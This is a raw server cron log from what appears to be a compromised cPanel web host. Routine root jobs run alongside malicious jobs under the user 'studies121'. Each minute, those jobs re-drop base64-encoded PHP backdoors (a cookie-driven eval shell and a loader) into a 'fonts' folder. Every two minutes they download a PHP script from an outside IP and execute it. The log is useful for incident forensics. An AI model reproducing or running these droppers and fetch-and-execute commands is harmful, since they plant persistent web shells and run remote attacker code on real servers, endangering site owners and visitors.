Sep  6 18:31:01 ip-184-168-122-23 CROND[11814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:31:01 ip-184-168-122-23 CROND[11816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:31:02 ip-184-168-122-23 CROND[11817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:31:02 ip-184-168-122-23 CROND[11821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:31:02 ip-184-168-122-23 CROND[11822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:32:01 ip-184-168-122-23 CROND[11898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:32:01 ip-184-168-122-23 CROND[11900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:32:01 ip-184-168-122-23 CROND[11903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:32:01 ip-184-168-122-23 CROND[11901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:32:01 ip-184-168-122-23 CROND[11902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:33:01 ip-184-168-122-23 CROND[12072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:33:01 ip-184-168-122-23 CROND[12074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:33:01 ip-184-168-122-23 CROND[12075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:33:01 ip-184-168-122-23 CROND[12076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:34:01 ip-184-168-122-23 CROND[12159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:34:01 ip-184-168-122-23 CROND[12161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:34:01 ip-184-168-122-23 CROND[12164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:34:01 ip-184-168-122-23 CROND[12162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:34:01 ip-184-168-122-23 CROND[12163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12255]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:35:01 ip-184-168-122-23 CROND[12266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:35:01 ip-184-168-122-23 CROND[12267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:36:01 ip-184-168-122-23 CROND[12370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:36:01 ip-184-168-122-23 CROND[12373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:36:01 ip-184-168-122-23 CROND[12371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:36:01 ip-184-168-122-23 CROND[12375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:36:01 ip-184-168-122-23 CROND[12374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:37:01 ip-184-168-122-23 CROND[12497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:37:01 ip-184-168-122-23 CROND[12498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:37:01 ip-184-168-122-23 CROND[12501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:37:01 ip-184-168-122-23 CROND[12502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:38:01 ip-184-168-122-23 CROND[12592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:38:01 ip-184-168-122-23 CROND[12594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:38:01 ip-184-168-122-23 CROND[12597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:38:01 ip-184-168-122-23 CROND[12596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:38:01 ip-184-168-122-23 CROND[12599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:39:01 ip-184-168-122-23 CROND[12769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:39:01 ip-184-168-122-23 CROND[12771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:39:01 ip-184-168-122-23 CROND[12775]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 18:39:01 ip-184-168-122-23 CROND[12776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:39:01 ip-184-168-122-23 CROND[12779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:40:01 ip-184-168-122-23 CROND[12886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:40:01 ip-184-168-122-23 CROND[12884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:40:01 ip-184-168-122-23 CROND[12887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:41:01 ip-184-168-122-23 CROND[12975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:41:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:41:01 ip-184-168-122-23 CROND[12978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:41:01 ip-184-168-122-23 CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:42:01 ip-184-168-122-23 CROND[13093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 18:42:01 ip-184-168-122-23 CROND[13096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:42:01 ip-184-168-122-23 CROND[13097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:42:01 ip-184-168-122-23 CROND[13098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 18:42:01 ip-184-168-122-23 CROND[13095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 18:43:01 ip-184-168-122-23 CROND[13221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
